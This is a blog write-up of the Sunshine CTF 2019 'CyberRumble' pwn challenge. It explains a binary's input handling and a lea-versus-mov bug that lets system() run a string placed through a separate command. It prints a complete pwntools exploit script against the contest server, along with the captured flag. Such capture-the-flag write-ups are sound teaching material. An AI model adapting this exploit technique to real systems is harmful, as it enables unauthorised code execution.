Monday, 1 April 2019

CyberRumble Writeup - Sunshine CTF 2019

In this challenge, we are provided a 64-bit ELF binary that accepts different forms of inputs as shown below:

Input: tombstone_piledriver<file_name>

You can specify the filename in this command. The server will read and display its contents.

Issue: This input will print only the first word of the flag file.

Reason: The contents of the file are read using ___isoc99_fscanf() and format string %99s. So, the space character is the delimiter and anything after the space character is not read. As a result, we cannot use this input to get the flag.

Input: old_school <shellcode>

max_length(shellcode) = 0x64 - len("old_school ")

Issue: The shellcode cannot be executed directly.

Reason: It uses mmap() to map the memory region to which the shellcode will be copied using memcpy(). It then uses mprotect() to remove the execute protection from this memory region. As a result of this, even though we can send the shellcode we cannot execute it directly.

Input: last_ride <shell_command>

This input is interesting because it will be sent to the system() function for execution.

However, a bug is included in the binary which sends the ASCII string itself to the system() function instead of the pointer to ASCII string.

It does not fetch the pointer using mov instruction and instead uses lea instruction as shown below:


So, we cannot send the shell command directly for code execution.

However, we can pass a pointer in the last_ride command as a string so that system() executes the contents pointed to by that pointer.

The binary has ASLR enabled. How can we get the address of our string?

The binary provides us our shellcode address. This can be used to solve the challenge.

1. Send the shell command in the old_school command like: old_school <shell_command>
2. Binary gives us the address of the shellcode.
3. Use the above address and send that as a string in the last_read command.

It is important to note that the shellcode address contains null bytes due to the way mmap() maps a new memory region. Since we are sending the address of the shellcode as a string to the system() command, it must not contain null bytes.

To resolve this, we can add some padding before our shell command so that the address does not contain null bytes.

The exploit code is:

from pwn import *
import re
import time

p = remote("rumble.sunshinectf.org", 4300)

print p.recv()

payload = "old_school Ash"

print "Sending first stage payload: %s" %(payload)

p.sendline(payload)
time.sleep(1)

output = p.recv()
m = re.findall(r'0x(.*)?\.', output)
addr = m[0]
addr = int(addr, 16) + 1

print "The shellcode address is: %x" %(addr)

p.sendline("U")
time.sleep(1)

payload = "last_ride " + p64(addr)

print "Sending second stage payload: %s" %(payload.encode("hex"))

p.sendline(payload)
time.sleep(1)

p.interactive()

The execution of the exploit is shown below:


Flag: sun{the chair and thumbtacks are ready, but the roof is a little loose}

c0d3inj3cT

No comments:

Post a Comment